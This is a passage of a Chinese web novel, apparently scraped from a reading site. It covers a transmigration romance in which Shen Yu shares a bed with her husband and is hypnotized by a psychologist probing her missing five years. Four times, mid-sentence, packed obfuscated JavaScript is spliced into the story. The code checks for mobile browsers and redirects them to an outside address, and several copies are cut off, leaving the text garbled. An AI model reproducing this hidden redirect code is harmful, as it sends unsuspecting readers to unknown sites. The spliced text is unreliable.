顾朝年摆摆手，“各位先去忙吧，许教授留步，我有个问题想向许教授请教。” 会议室一下子空了下来，许教授走到顾朝年的对面坐下。 “许教授，你说这个世界上会存在穿越或者夺舍这样的事情吗？” 许教授闻言笑了笑，“顾先生，您五年前就问过我这个问题。” “是，您当时说在目前的研究中还未发现这样的案例，但是已经过去五年了。” “五年过去了，但我可以很负责任地告诉你，我的答案依旧如此。” 许教授几乎是国内外最顶尖的神经内科专家，他的话顾朝年自然是相信，只是…… 他默默握紧了自己的左手腕，掌心下一道道凹凸不平的伤痕时刻都在提醒着他：这五年他是如何度过的。 * 从医院回家的车上是老木在开车，顾朝年眸色深深地望向车窗外，仿佛要与外面的无边夜色融为一体。 脑海中响起沈鱼质问的声音，【为什么不告诉他你恢复记忆了。】 沈余：【我没有那五年的记忆，如果他问我怎么办？】 沈鱼：【有我啊！】 沈余一脸无辜：【……抱歉，我忘了。】 【你就是故意的！】气得沈鱼单方面切断了联络。 脑海中没有了沈鱼的打扰一瞬间安静不少。沈余忍不住将目光再次落在顾朝年的身上。 男人恰好转头，沈余被抓个正着，眨眨眼，找了个借口，“你很希望我恢复记忆吗？” 从医院出来顾朝年的脸色就不好，想来想去也只有可能是这个原因了。 男人不答反问，“阿余不想恢复记忆吗？” 失忆是她装的，前22年的记忆她都一清二楚，如果非要说恢复记忆的话，那也只能恢复她消失的那五年的记忆。 但那是沈鱼的记忆，不是她的。 连带着那五年的人生，也不是她的。 顾朝年，“那阿余为什么突然间不想和我离婚了呢？” 在医院待了一天，沈余早就想好了答案，“你会给我做我喜欢吃的菜，会在我做噩梦时一整晚一整晚守在我的床边，会在我被别人斥责时坚定地和我站在一起……” 沈余掰着手指一样一样细数，说到“你将卷毛也照顾得很好”时，男人终于听不下去，宽大的手掌盖在她的紧握的拳头上，“所以你是因为这些事才决定不离婚的吗？” 沈余点点头，“是啊。” 他不过是做了一些微不足道的事，她便将每一处好都记在了心上，甚至连他对卷毛的好也揽在自己身上。 他对她好，只是因为他想对她好，而不是为了增添她的负担。 “阿余，这些事对我来说算不得什么，所以你也不必将这些事放在心上。” 沈余却不明白，抬头看着他问，“为什么？” 她的眼睛。 干净、清澈又带着一丝固执。 被这样一双眼睛注视着，一颗心像是在暖暖的汤泉水中被泡了一遍，看得心软软的，一瞬间，那些只会在夜深人静时才出没的肮脏念头毫无征兆地冒出水面。 不如顺水推舟，彻底将她留在身边； 不如做一对真夫妻； 不如…… 那些阴暗卑劣的想法在一瞬间疯涨，顾朝年用掌心将沈余的眼睛扣上，连带着那些见不得光的东西也一起掐断。 眼前骤然黑暗，鼻尖的松木香越发浓厚，紧接着沈余落入了一个熟悉的怀抱。 许久之后，一声叹息落在沈余的肩头，“阿余，我希望你做这个决定是因为你真的喜欢我，而不只是因为我对你好。” 掌心下的睫毛轻颤着，像是被蚂蚁咬了一口，酥酥麻麻的。顾朝年知道不能将人逼急了，他只抱了一下就松开了。 他的手掌宽大，几乎遮住了她大半张脸，只漏出了尖尖的粉白下巴，他没有将手撤下来，继续隔着自己的手掌和她说，“我从来都不想和你离婚，但我仍希望你能恢复记忆。” “所以，先试着让我帮你恢复记忆好吗？” 意外地，他听到一声，“好。” 顾朝年高兴地抱住她，这一次沈余没有推开。 如果这是他想要的，沈余愿意陪他演戏，只要他愿意提高好感度。 系统：【顾朝年好感度＋1，当前好感度为96%。】 得到系统的好感度提升的提示音，沈鱼第一时间内将这个好消息分享给了沈余。 真好，提高好感度的第一步：从一个简单的拥抱开始。 沈余默默抱紧了顾朝年，闭上眼畅想着未来自由的日子。 随着沈余的靠近，两个人之间的最后一丝缝隙消失殆尽，顾朝年先是一惊，随后更用地抱住怀里的人，恨不得将她融进身体里。 仗着两个人相背，他贪婪地闻着她身上的香味，目光的温柔不再，反而充满了偏执阴翳， 他会尽最大的努力帮助阿余恢复记忆。 最重要的是， 在她恢复记忆之前，他会不择一切手段让她爱上他。 松开怀抱的时候，顾朝年脸上的表情已经恢复如常，甚至还一脸温柔地询问沈余回家想要吃什么。 对顾朝年的厨艺沈余十分放心，随口说了几个菜，顾朝年点头说好，然后递给她一个靠枕，“距离到家还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943678|160623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些距离，如果累的话可以休息一下，到家我再叫你。” 在医院检查了一天，而且她的精神一直处在高度紧绷的状态之下，沈余确实有些累了，接过靠枕没一会儿就睡着了。 老木开车很稳，一路上没有任何颠簸和不适，到了公寓楼下沈余依旧没有醒过来的痕迹，顾朝年放低音量，“围着小区转几圈。” 在转到第三圈的时候，沈余终于醒了。 外面的天色已经完全暗了，偶尔几个路灯发出微弱的灯光，沈余揉了揉眼睛，“还没到家吗？” 顾朝年：“快了。” 老木接到顾朝年的指示，安稳又迅速地将他们送回公寓。 下车的时候，顾朝年为她拉开车门，将自己身上的棉服披在她身上。 她挣扎着要还给他，“你干什么？” 顾朝年却不放手，“你刚睡醒，容易着凉。” 两个人谁也不肯退步，最后还是老木拿过来一个袋子，“少爷说让我取衣服，我年纪大了耳朵不好，没听清取谁的衣服，就一人拿了一件。” “太好了，我穿这一件。”沈余接过袋子，然后说，“你也赶紧把衣服穿上。” 顾朝年看起来颇为遗憾，但也只能说，“好。” 老木开解他，“少夫人这是关心少爷呢！” 顾朝年眼睛亮了，“是吗？” 老木:“是！” 沈余将脸藏进围巾里，装作没听到，“好冷啊，我们快点回家吧。” 看着穿着两层棉服的人，顾朝年笑起来追上去。 沈余一推开门，卷毛就热情地迎了上来，蹦地高高的，沈余一张开手就跳到她怀里了。卷毛一个劲地舔她的脸，顾朝年在旁边默默地帮她脱掉身上外衣围巾和帽子。 她一身轻松地抱着卷毛走进客厅，顾朝年将洗好的水果放到她面前，又去打开电视换到她常看的节目，“你陪卷毛在这里玩一会儿，我去做饭，很快就好。” 卷毛玩一会儿玩累了，就爬在她的脚边聚精会神地和她一起看电视。 正看到精彩处，脑海里又突兀地响起沈鱼的声音，【你竟然在看我的剧！】 【嗯。】沈余吃了一口草莓，【你演技很好，选的剧也很适合你。】 沈鱼：【那当然，你以为三星影后那么好当的嘛。】 一提演戏沈鱼仿佛有说不完的话题，在她停顿的时候，沈余赶紧换了一个话题，【你也能看到我看到的东西？】 沈鱼一边欣赏着自己高超的演技一边说：【当然。还记得你之前看到的大屏幕吗？那是我的系统，通过它我可以看到外面发生的一些。】 沈余：【那我岂不是一点隐私都没有？】 【严格来讲是这样的。】沈鱼补充说，【但如果你想做一些羞羞的事情，系统会被关进小黑屋，我也一样。】 【怎么你打算走□□的路线了吗？】虽然她自己攻略的时候从不用这个方法，但是如果沈余用她倒也不反对。 【没有。】沈余满头黑线，【我只是不希望在你的监视下生活以及你不要总是突然和我讲话。】 沈余试着和她商量，【所以以后可不可以在我不叫你的时候，你不要突然开口讲话，也不要一天二十四小时盯着我。】 沈鱼本不想答应的，但是一想到沈余也算自己的半个剧粉，对粉丝她总是要宽容许多，【我尽量。】 在她说完这句话之后，就主动下线了。 * 晚饭过后，沈余回到房间，洗漱出来的时候发现顾朝年正在整理自己的东西，她后知后觉地想起来他们约定的时间已经到了。 顾朝年该搬去客房了。 她虽然答应不离婚了，但是也没答应要和顾朝年睡一个房间吧。沈余一边将精华拍在脸上一边想着自己就装作没看见算了。 将精华放在梳妆台上，脑海中咚的一声。 系统：【顾朝年好感度-1，当前好感度为95%。】 沈余没起身，而是拿出眼霜涂在眼下。 系统：【顾朝年好感度-1，当前好感度为94%。】 沈余再也坐不住，“既然我们都不打算离婚了，也就没有必要分房睡了。不如我们就还和原来一样。” 她睡在床上，他睡在地板上。 互不打扰。 “阿余，你真好。”刚刚还满面愁云的男人瞬间露出一个如沐春风的微笑，“阿余，你真好。” 语气却颇为激动。 沈余还没明白他在激动什么，就看到他将自己的枕头直接放在了床的另一侧，又迅速掀开被子躺了进去。 …… 所以他是理解的原来一样是和她没失忆之前一样。 沈余无措地站在原地，偏偏男人浑然不觉，他还拍了拍旁边的位置，笑地十分温柔，“阿余，怎么还不上来？” 17. 第 17 章 离婚是她出尔反尔； 主动留人的也是她； 想要获得他百分之百的爱的人还是她。 她没有拒绝的理由。 一步一步，沈余朝着男人拍着的位置走过去。 柔软的床垫只陷下去一点，紧靠顾朝年身边的位置依旧空空，沈余选了距离他最远的位置躺了下来。 看着完全背对他的人，顾朝年并不意外，因为最开始在他的设想里今晚最好的结局就是继续睡在那个又冷又硬的地板上。 她的妥协，才让他既惊喜又意外。 将屋内的大灯都关掉，只留了一盏小夜灯，昏黄的灯影下，只能粗粗地勾勒出她大致的轮廓。 暖色的、毛茸茸的一团。 像一个小鹌鹑蜗居在距离他最远的床边。 如果沈余现在回头，一定会发现顾朝年眼睛里的温柔和深情满得都要溢出来了，可她现在躲还来不及，又怎么会回头看。 沈余闭上眼睛，不断催眠自己：睡着就好了，睡着就好了。 平日里总是很快就入睡的她今晚却怎么都睡不着，甚至脑海中的思绪也越发清晰，她记得他们现在盖的被子是买什么东西的赠品，上面开满了粉色的小花，因为她很喜欢才换成了这个。 她自己一个人睡的时候，看起来舒适又温馨。 现在加上了顾朝年，虽然他长得也很漂亮，但并不是那种女性化的漂亮，而是超脱于男人与女人之间的一种美，但即便如此，一个大男人睡个小粉花被子总觉得哪里怪怪的。 她怎么又在想他了？ 不要想！ 不要想！ 沈余将脸完全埋进被子里，这段时间只有她一个人睡，被子上面沾满了她身上桃子味沐浴露的味道，此刻却多了另外一股松木香。 这味道她并不陌生，是顾朝年身上的味道。 桃子的清香与松木的香味在她鼻尖纠缠，她的思绪也被反复拉扯着。 本就在床边上的她一个没注意就差点连人带被子掉下去，忽然一只强有力的大手将她捞了回来。 她一头撞在了男人的胸膛上。 周围的每一寸空气仿佛都被冷松木的香味挤满了，她的鼻尖再也闻不到别的味道。 “抱，抱歉。” 她慌乱地转过身，身后传来男人自嘲的声音，“我难道是什么吃人的怪物吗？” “不是。” 比怪物吓人多了。 “那就是我长得很丑喽。” “不丑” “那阿余为什么一直躲着我？” 温热的气息喷洒在沈余的脖颈处，沈余缩了缩脖子，说话也磕磕绊绊，“我，我不习惯。” 窸窸窣窣地声音从身后传来，不知道他在干什么，只有鼻尖的香味告诉她：他们的距离在一点点缩进。 被子下，顾朝年的手臂穿过她的腰两侧，一点一点将她抱在怀里，男人的胸膛贴着她的脊背，蓬勃的心跳仿佛就在她的耳边。 下巴搭在她的肩膀上，如同一对交颈的鸳鸯，彼此肌肤的温度毫无保留地传递给对方。 黑暗中，一切声音都无所遁形。 比男人心跳更大的声音，是她的心跳声。 两道心跳声或快或慢，逐渐变成了统一的频率，静默中，时间都变得漫长无比。 不知道过了多久，男人脖颈处的脉搏轻轻震动，她听到他说，“试着习惯我，好不好？” 试着习惯我； 试着喜欢我； 试着爱上我…… 阿余，求你快快爱上我。 顾朝年的想法沈余一概不知，只是在听到这两个字的时候有些发愣。 ……习惯。 这两个字几乎可以把她的前半生串起来，小时候她习惯了父母的存在，可他们逐渐忙于工作，将她一个人丢进冰冷的房子里；后来她习惯了冷漠没有生气的别墅，可沈昭昭被找了回来，别墅里欢声笑语不断； 从小到大，她习惯了太多事情。 从习惯一个人吃饭、一个人跳舞到习惯父母其实没那么爱她，父母根本不爱她，以及没有任何人爱她在乎她。 她太知道要如何习惯一件事，一个人，更知道要如何在习惯后将自己抽离出来。 没什么犹豫地，沈余回答，“好。” 轻轻的一个字，只有顾朝年知道这对他意味着什么。将怀里的人抱地更紧了一些，哑声道，“不许反悔。” 迟迟没听到回应，一看才发现怀里的人不知道什么时候已经闭上了眼睛。 看着她熟睡的面庞，顾朝年哑然失笑，勾起她的小手指，用拇指轻轻盖了一个章，“盖了章了就不能反悔了。” 同一时间，系统：【顾朝年好感度+1，当前好感度为95%。】 * 阳光穿过窗帘的缝隙，泄进屋内，一丝阳光吻住女人细白的指尖，只见沈余的指尖动了动，一点点掀开沉重的眼皮。 入目是一堵墙。 用脸颊蹭了蹭，暖融融的，在冬天的早晨最舒服不过，沈余抱着那堵墙，又睡了过去。 不知道想到了什么，猛然惊醒。 眼前的哪里是什么墙，分明是顾朝年的胸膛。明明昨晚她是背对着顾朝年睡的，但此刻她被男人紧紧抱在怀里，脸颊甚至贴在他的胸膛上。 而她也抱着男人。 熟练地仿佛无数个夜晚他们都是这样相拥在一起入睡，又一起醒来。 她抬头，望着男人棱角分明的侧脸。 她以为她昨晚会睡不好，毕竟床上多了一个陌生的男人，但事实上昨晚是她醒来后睡的第一个完整的好觉。 没有被谁抛弃、也没有和鲨鱼赛跑，就完完整整地一觉睡到天亮。 冬天的早晨，男人的怀抱显得格外温暖，沈余却并不贪恋，她轻轻坐起身，正准备掀开被子，身旁的男人忽然动了。 一束日光落在男人的高挺的鼻梁上，随着他的动作又跳到了他的睫毛上，顾朝年用手挡住阳光，手腕处的暗红色的手串圆润细腻。 眯着眼睛适应了太阳的光线，双手撑在身后，衣袖滑落遮住了手腕间的手串，沈余的注意力因此落到了他的手上。 十指修长，骨节分明，就连指甲也修剪得干净整齐。 顾朝年有一双很会弹琴的手，但她还是第一次注意到他的手指原来这么漂亮，漂亮到身为女孩子的她都有些嫉妒。 这双漂亮到不可思议的手在她的眼前一点点抬起来，然后轻轻抱住了她。 一个十分短暂的拥抱。 快到她还没有反应过来顾朝年就松开了她，“阿余，早上好。” 她下意识地回复，“早上好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈鱼：【就好感度而言，我们一共把它划分为4个阶段。60以下是朋友，60以上算喜欢，70-80是爱情，90以上是深爱。越往上好感度涨得越慢，尤其是到了90以上，几乎很难增长。】 沈余：【那100算什么？】 沈鱼：【算我厉害喽！】 【……】 挤好牙膏，沈余开始刷牙，【顾朝年对你的好感度是95%，应该就是好感度增长最困难的阶段。你之前攻略了那么多任务目标，应该很有经验吧，在这个阶段你都做些什么？】 【做ai喽~】 脱口而出的一句话成功让沈余被口中的漱口水呛到了，【……什，什么？】 沈鱼摊手，【我没骗你。以前攻略到这个程度，我几乎每天都是和他们在床上度过的，做着做着好感度自然而然就满了。】 当然这种情况仅限于她喜欢的任务目标，如果是不喜欢的任务目标，她会设计一场事故然后意外死亡。 最后一种显然不适合现在这种情况，毕竟她任务成功可以去下一个世界，沈余死那就是真的死掉了。 沈余将口中的泡沫水吐掉，【就没有别的方法了吗？】 沈鱼只好将第二种方法也告诉她。 沈余这下是真的沉默了。 18. 第 18 章 沈余当然没有听她的。 爱情会让人产生欲望，但这绝非是爱情的本质。 至于爱情的本质是什么，她也不清楚。但她想既然顾朝年喜欢的是沈鱼的灵魂，她首先要做的是应该变成他真正的爱人的模样。 于是在进入衣帽间的时候，她没有选择自己喜欢的温婉舒适的衣服，而是选择了一条红色吊带裙。 红色吊带裙勾勒出她姣好的身材，大面积的肌肤露在外面，脖颈处一条精致的项链微微垂落，蓝色的钻石随着她的走动在山谷间若隐若现。 【这样可以吗？】 这样的装扮对她来讲绝对是大变化，沈鱼却并不满意，【我每天都要化妆的。】 她补充，【全妆。】 被当做顾朝年未婚妻培养的那些年，穿搭和妆容都是必修课，化妆对她来说并不难，只是她不知道沈鱼日常的妆容是什么样子。 【这有什么难的。】沈鱼嘟囔了一句，然后不知道从哪里找来了一张她以前的照片，投放到她的大脑里，让她照着画。 坐到梳妆台，将她之前闲置在旁边的化妆品又一一翻出来，打开崭新的包装，比对着沈鱼的妆容，尽量一比一还原。 挑了最红的一只口红涂好，仿妆到此结束，一看时间已经过去大半个小时了。、 沈余端详着镜子里的人，假睫毛挺翘且浓密，眼线细又长，红唇更是张扬。 原来顾朝年喜欢这样的人，还真是…… 和她完全不同。 她倒不是心酸，只是有些感慨，感慨叶茹一直致力于把她培养成世家千金的典范，可顾朝年偏偏不喜欢她这种类型。 【别垂头丧气的，抬头挺胸！】沈鱼突然开口打断她的胡思乱想。 沈余按照她的指示做，沈鱼满意地点头，【这才像我嘛。】 【现在出去吧，看看顾朝年什么反应。】 一推开门就闻到了香味，顾朝年正在厨房做早餐，他穿着围裙，手中举着锅铲，鸡蛋两边被煎至金黄放到了餐盘里。 顾朝年端着盘子从厨房走出来，正看到从不远处走过来的沈余。 男人直接愣在原地。 沈余有些无措地拽着自己的衣领，悄悄问沈鱼，【这是不满意？】 【怎么可能，他这明明是被美呆了！】沈鱼难得安慰她，【好了，你快点去攻略他吧，我等你的好消息。】 说完，直接下线了，任凭沈余如何呼唤都没有声音。 顾朝年看了她片刻，似是不解地开口，“阿余，你不冷吗？” 沈余才意识到自己此刻身上穿的是一件薄如蝉翼的裙子，冬天穿裙子，虽然屋子里开了空调，但是看起来还是很怪。 她当时满脑子都是一比一复刻沈鱼，脑子里根本没想到这些，此刻被顾朝年提醒，不仅觉得怪，好像也感受到一丝冷，但也只能咬牙说，“不冷。” 顾朝年没说什么，只是默默调高了空调的温度，男人的视线很快被收回去，他将盘子摆放在餐桌上，回头看还站在原地的她，“过来吃早餐吧，今早做了你最喜欢的煎蛋。” 好像没什么反应。 沈余不死心地又问，“你觉得我这个妆容怎么样？” 顾朝年推了推眼镜，重新将视线落在她的脸上，妆容干净精致，虽然和她平时的风格大相径庭，但看得出这个妆容是她很用心化的，“很漂亮。” 很认真的语气，一听就知道他没有在随意敷衍。沈余终于松了一口气，却在下一瞬听到男人沉声问，“怎么没穿鞋？” “啊？”沈余微愣，他们不是在讨论妆容吗，怎么又聊回了穿搭。 顾朝年已经大步走过去取来她常穿的那双拖鞋，单膝跪在她面前，轻轻抬起她的脚将鞋套了上去。 “你左脚踝有旧伤，不能着凉。” 高中的一次元旦表演，那时候沈余高一，顾朝年高三，原本定的是她和顾朝年表演一个节目，顾朝年弹钢琴，她负责伴舞。为了准备好这场演出，她一个人在舞蹈室反复练习，却意外伤了左脚踝。 她躲在后台看着他表演钢琴独奏。 聚光灯下，他优雅从容地弹奏了一首《致爱丽丝》。伴随着优美动听的音乐，鲜花和掌声也因他而盛开，沈余一直以为他只会记得这些，没想到他还记得她脚受伤的事。 顾朝年站起身，一脸认真地同她道歉，“抱歉，我忘记你失忆了。” 沈余摇头，“没事，你也是为我好。” 提起失忆这件事，顾朝年刚好有话想说，“昨天和医生简单聊过之后说从你的脑补ct看没有任何问题，许教授推断你是心因性失忆，他建议我带你去看看心理医生，你觉得怎么样？” 平时在顾朝年和医生面前装装失忆她还算得心应手，如果是心理医生的话，难度还是有点大的，沈余其实不太想去。 但是顾朝年好像很想帮助她恢复记忆，她不想让他因此降低好感度。 大概是看出了她的为难，顾朝年主动开口说，“你如果不想去就算了，我们再想别的办法。” 他拉过她的手腕，“好了，我们先吃早饭吧。” 一顿早饭，沈余吃得味如嚼蜡，最终还是担忧好感度降低压过了她自己的意愿，用纸巾擦了擦嘴，她看着顾朝年，“我和你一起去看心理医生。” 大不了就找沈鱼帮忙。 得到了沈余的同意，顾朝年很快联系好医生，沈余重新挑选了一套可以外穿的衣服才出门。 去医院的路沈余已经十分熟悉了，只是老木今天选的路却让她有些陌生，但她也没说什么，静静看着车子驶入一片车海中，最后停在了市中心的高档写字楼前。 进了电梯直达最顶层，迎面是金碧辉煌的几个字——心安小筑心理诊所。 顾朝年应该是提前预约过，一身职业套装的前台早已站在感应门外迎接他们，“顾先生，顾太太，周医生现在在接待客户，很快就会过来。我先带你们去诊疗室，这边请。” 耳麦处的蓝光随着她的颔首忽明忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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指尖略过书架的第四层，突然摸在了一块虚空上，旁边两本书的位置相互齐平，只有这一本位置稍靠后，但是也更方便拿出来，而且书的边缘有轻微发黄的痕迹——有人频繁地使用并放回这本书。 她突然有些好奇这位奇怪医生会喜欢什么书，指尖用力，轻而易举地将那本书拿了出来，一个看起来非常玄幻的封面，名字叫《量子力学的纠缠》。 心理医生喜欢看物理书？ 这个周医生还真是奇怪。 顾朝年的视线从楼下收回来，就看到沈余手里拿着的那本身，眸色一暗，正准备找个理由让她不要看，门忽然开了。 “周医生来了。” 沈余将还没来得及看的书合上，放回书架上，跟着顾朝年一起过去打招呼。 她的注意力都在周医生身上，没有注意到顾朝年暗自松了一口气。 19. 第 19 章 奇怪医生果然很奇怪。 生活中见到的医生都是一身白大褂配个看起来十分智慧的镜片，而眼前的人却十分不同。 男人穿着一身深蓝色的西装，鼻梁架着的金丝眼镜不仅没凸显出医生的睿智沉稳，反而让他看起来风度翩翩，沈余觉得他不像是医生，更像是富家公子哥。 男人的目光越过顾朝年，落在她的身上，“呦，嫂子来啦！” 咧嘴笑出一口大白牙。 虽然接早就接受了自己已婚的事实，但是这段时间一直待在家里，没人说自然也没什么感觉，还是头一次有人这样叫她。 沈余脸色微红。 顾朝年注意到她的脸色，呵斥他，“别贫嘴。” “那不叫嫂子叫什么，叫沈小姐还是……”他看着顾朝年故意拉长音调，尾音一转，嘴巴里吐出一句，“阿余~” 顾朝年脸色更黑，“阿余也是你能叫的？” 男人嘴一撇，装作投降，“行行行，只有你能叫行了吧。不过就凭我们的关系叫沈小姐太见外了，那我就还叫嫂子吧。” 顾朝年冷淡地嗯了一声。 两个人一唱一和就决定好了，完全不给沈余插嘴的机会。 “嫂子，听说你失忆了，重新自我介绍一下吧，我叫周心安，是顾朝年的朋友，也是一位非常优秀的心理医生！” 在说到非常优秀的时候他的语气重了几分。 自卖自夸的医生她还是第一次见，沈余尴尬笑笑礼貌地同他握手，“你好。” 两个人指尖相碰的时候，周心安拽住她的手，忽然倾身向前直视着沈余的眼睛，“嫂子看起来和上次见面，变化很大嘛。” 指尖不知道什么时候夹着的金属笔映射出沈余骤然收缩的瞳孔。 顾朝年拽住周心安的手腕，不让他再向前一步，可他那双眼睛依旧紧紧直视着她的眼睛。 被他眼睛直视的那一刻仿佛她身体里所有的秘密都无所遁形，沈余瞳孔微缩，却只能强装镇定，“抱歉，我失忆了。不记得我们上次见面的情形了。” 在顾朝年的耐心告罄之前，周心安退回到安全距离，咧嘴一笑，“虽然变化很大但还是那么美丽。” 故作无知地扫过大家有些凝重的神色，“干什么，我只是开个玩笑。” 顾朝年甩开他的手，“……一点也不好笑。” 沈余松了一口气，“原来是玩笑啊。” “开个小玩笑热热身。”周心安从柜子里找出一件白大褂披在身上，宣布，“现在正式开始我们今天的心理诊疗吧。” “沈小姐，我接下来会问你一些问题，你不要害怕，只需要如实回答就好。” 周心安一瞬间进入工作状态，就连对她的称呼也变得正式了。 他拿来一个眼罩给她戴上，“思绪放空，我问什么你回答什么就好。” 眼前陷入一片黑暗，沈余神经瞬间绷紧，一旦出现她解决不了的情况，她就立马呼唤沈鱼。 “从你的脑ct来看没有任何问题，但你却说你什么都不记得了是吗？” “是的。” “你连你自己是谁也不记得了吗？” “我叫沈余。” “你记得？” “不记得，是顾朝年给我看了我的身份证。” “你还知道些什么？” “顾朝年、卷毛、梅姨、老木、叶茹、沈昭昭……”她将自己知道的一一说出来，每说一句话她紧绷的神经就放松下来一点，眼皮也越来越沉，伴随着周心安低沉温柔的声音，沈余彻底闭上了眼睛。 听到躺在沙发上匀速平稳的呼吸声，周心安又问，“你还记得自己是谁吗？” “记得，我是沈余。” 周心安面色一喜，回头和顾朝年对视一眼，用唇语说：成功了！ 怕打扰到他们，顾朝年只能克制地点点头。 周心安转身，指尖的笔转得飞快，现在，他要开始真正的问题了！ “你还记得谁？” “顾朝年、卷毛、梅姨、老木、叶茹、沈昭昭……”沈余将那些名字又念了一遍。 “你还记得顾朝年？” “记得。” “他是谁？” 顾朝年屏住呼吸，左手腕仿佛被千万只蚂蚁啃食一样，他攥紧手腕继续听沈余的答案。 “他……”不知道是不记得了还是什么原因，过了许久沙发上的人才费力地开口，“他是我的假老公。” 假老公。 周心安强忍着笑继续问。 “那你喜欢他吗？” “不喜欢！” 毫不犹豫，斩钉截铁。 周心安幸灾乐祸地看了顾朝年一眼，只见男人铁黑着一张脸，一只手攥紧另一只手的手腕，手腕处的青筋尽数凸起。 惹不起啊惹不起。 正准备回头，男人的嘴唇动了动：问车祸。 周心安终于想起今晚最要紧的事。 “你还记得五年前发生了什么吗？” “五年前在去解除婚约的路上，我出了车祸。好多好多的血，我身上都是血，我去拿手机，碎了但是还能用，然后我看到妈妈给我发的短信。” 沈余说地磕磕绊绊，但是不难拼凑出事情的经过。 “她说了什么？” “她说‘婚约解除了吗？昭昭饭都没吃一直在家等你的消息，怎么还没回来。’” 流畅得仿佛在心中已经说过千万遍。 被梦魇缠住时少女在他胸口前的那一声声质问和哭泣在这一瞬间仿佛都有了答案。顾朝年的心仿佛被搅碎了一般。 他们，他们怎么可以这样对她！ 周心安的问题还在继续， “之后呢？之后发生了什么？” “之后我消失了。” “消失？”周心安拧眉，“你去了哪里？” “我不知道。”沈余眉心紧皱，显然是在十分用力地思考，“我消失了整整五年。” “你消失了五年？” 心中多年的猜想得到证实，周心安心中难掩激动。 “是，再醒来就是五年后了。顾朝年成为了我的老公。”沈余又补充，“不过是假的，我们会离婚的。” “你的意思是有人用你的身体和顾朝年结了婚？” “是。” 所有人的心跳几乎是同时间骤停，但谁都没敢发出声音。周心安看了一眼时间，这款眼罩的催眠时间是25分钟，现在已经过去15分钟，还剩十分钟，时间完全够用。 他深吸一口气，尽量放平心态，“你认识她吗？” “认识。” 话音落下的瞬间，他几乎是立即开口，“她是谁？” “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我真的没事。”为了证明自己没什么问题，她甚至还站起来走了几圈。 顾朝年这才松一口气。 周心安刷刷刷地低头写着什么，然后将手中的便签纸一撕，手掌般大小的纸，寥寥只画了两道波浪线。 “这是什么？” “诊断书啊！”周心安指着那两道波浪线一脸理所当然，一脸理所当然，“看不懂吗？” 龙飞凤舞，犹如鬼爬。 当事人尤不自知，一把抢走诊断书，十分欣赏地点头，“这字简直完美！” 顾朝年没理会他，径直拿过诊断书帮她翻译：“病症：心因性失忆。这一点和许教授诊断的一致。心因性失忆通常发生在患者遭遇重大感情冲击时——比如被至亲抛弃或者被最爱的人欺骗。” 他一边说一边解释。 周心安点点头，接过他的话继续说，“我建议通过情景重新治疗，比如让患者重新经历重要时间节点，” “情景重现治疗？”沈余茫茫然。 “简单来讲就是重新经历一遍你想回忆起来的事，可以帮助你迅速恢复记忆。” “听明白了吗？” 听是听明白了，只是怎么感觉不是很靠谱。 20. 第 20 章 对于周心安的“情景重现治疗”方法，顾朝年没吭声，默默听着。 又或许他根本没在听，只是深深地望着沈余，眼睛似是凝聚着万千情愫，直到注意到身旁的人脸上多了一丝困倦，他站起身挡在沈余身前，“阿余累了，我们先回去了。” 沈余其实没觉得多累，但是能回家不用面对奇怪的心理医生她自然高兴。老木一直在楼下等着，载着他们很快到了家。 回到家里，陪她用过午饭，顾朝年接了一个电话说公司有点事需要他去处理一下又离开了。 男人刚一离开，她脑海中立刻响起沈鱼的声音，【你个蠢蛋！】 沈余：？ 【连被人催眠你都不知道，你不是蠢蛋是什么？】 怪不得她会突然睡过去呢。 【我都说了什么？】 提起这件事沈鱼就生气，【我哪知道，你说不让我监视你我就不监视你，结果你倒好，差一点将我卖了，要不是系统警报，我们两个都得魂飞魄散！】 沈余被吓了一跳，【魂飞魄散，这么严重嘛？】 【那当然了，你以为我们是什么过家家的游戏吗？穿越者的身份一旦泄露，主系统会立刻将我抹杀。】 可她也知道沈鱼的身份，为什么…… 虽然心里有疑惑但她知道自己这次是真的犯了大错，赶紧道歉，【对不起，我错了。我真的不知道他会催眠我。】 沈鱼还是有些生气：【你去看心理医生怎么不告诉我？】 【我没想瞒你，顾朝年也是今天早晨才和我说，我也不想去，可是他又想让我恢复记忆，我不去还怕他掉好感度，我能怎么办？】 沈余诉完苦水开始表忠心，【我本来还想遇到解决不了的事情再召唤你呢，谁想到还没来得及就被催眠了。】 沈鱼哼哼两声，她知道她气消了一点。于是继续说着好话，【我答应会替你保守秘密，我绝不会出卖你的。】 【所以他肯定什么都没问出来。】 沈鱼的毛已经被捋顺了，态度也好了很多，【系统在第一时间提醒我，我就唤醒你了，他们确实没问出来什么。】 沈余顺着她的话继续说，【对啊，他们肯定也是误打误撞，毕竟又不是演电视穿越这种事情谁会相信呢，快穿者他们更是听都没听过。】 沈鱼点头，【也是。】 【但是你必须答应我，再也不可以去看什么心理医生了。】 【我发誓！】 